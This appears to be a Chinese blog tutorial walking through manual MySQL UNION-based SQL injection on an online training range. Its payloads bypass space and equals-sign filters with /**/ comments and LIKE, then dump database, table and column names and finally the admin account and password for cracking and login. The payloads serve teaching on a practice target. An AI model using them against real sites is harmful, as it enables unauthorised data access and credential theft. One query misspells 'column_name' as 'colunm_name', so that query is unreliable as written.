前言
當我們在進行手工注入時,有時候會發現咱們構造的危險字符被過濾了,接下來,我就教大家如何解決這個問題。下面是我的實戰過程。這里使用的是墨者學院的在線靶場。咱們直接開始。
判斷注入點
通過測試發現,這里過濾了空格和等於號。所以咱們用/**/代替空格,用like代替=,最后將構造的語句進行url編碼,使用的是小葵轉化工具。
所以咱們構造如下語句。
/**/and/**/1/**/like/**/1
結果如下圖,頁面正常顯示。
接着咱們再構造如下語句。
/**/and/**/1/**/like/**/2
發現頁面報錯,說明存在注入點,且為數字型。如下圖
判斷字段數
通過 order by語句,咱們構造如下語句
/**/order/**/by/**/4
頁面正常顯示,如下圖。
接下來,咱們輸入如下語句。
/**/order/**/by/**/5
發現頁面報錯,說明數據庫里有四個字段,如下圖。
判斷回顯位置
通過聯合查詢,構造如下語句。這里有一點要注意:使用聯合查詢時,要使得前面不可查詢,所以我將id=1改成了id=-1。
/**/union/**/select/**/1,2,3,4/**/#
結果如下圖,我們發現,2,3,兩個位置回顯到頁面上了。
爆庫
通過上一步,咱們清楚了回顯位置,接下來繼續使用聯合查詢,構造如下語句。
/**/union/**/select/**/1,database(),3,4/**/#
結果去下圖。咱們爆出了數據庫名。
爆表
由於爆表構造得語句有點長,編碼成url格式會更長。所以這里換成了burpsuite進行url編碼。構造語句如下。
/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/庫名(將庫名轉換成十六進制)
結果去下圖,咱們爆出了兩個表。
爆字段
接下來咱們構造如下語句。
/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(轉換成十六進制)
然后咱們發現了name,password,兩個字段,如下圖。
爆賬號密碼
這里咱們還用到了group_concat()函數,可以查詢出所有賬號和密碼。構造如下語句。
/**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名
結果如下圖,查詢出了管理員賬號,密碼。
解密密碼,登陸
我們發現查詢出來得密碼是加密得,然后通過在線解密得到密碼,如下圖。注入結束。
MySQL手工注入進階篇實戰總結
判斷注入點,通過測試發現,過濾了空格,等於號,所以用/**/代替空格,用like代替等於號,構造的語句在進行url編碼。
第一步,判斷注入類型。構造語句 /**/and/**/1/**/like/**/1和 /**/and/**/1/**/like/**/2 發現報錯。所以判斷為數字型。
第二步,判斷字段數,構造語句 /**/order/**/by/**/4和/**/order/**/by/**/5 發現4正常,5報錯,說明有四個字段數。
第三步,爆庫。構造語句 /**/union/**/select/**/1,database(),3,4/**/#
第四步,爆表。構造語句/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/庫名(將庫名轉換成十六進制)
第五步,爆字段。構造語句 構造語句/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(轉換成十六進制)
第六步,獲取賬戶,密碼。構造語句 /**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名
第七步,解密,登陸。